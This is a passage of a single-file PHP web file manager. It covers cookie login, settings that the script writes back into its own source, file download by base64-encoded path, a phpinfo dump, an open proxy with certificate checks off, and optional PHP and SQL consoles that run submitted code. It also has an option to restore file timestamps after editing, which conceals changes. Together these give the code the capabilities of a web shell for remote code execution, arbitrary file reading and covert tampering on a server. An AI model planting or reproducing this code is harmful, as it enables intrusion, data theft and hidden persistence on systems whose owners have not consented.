			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
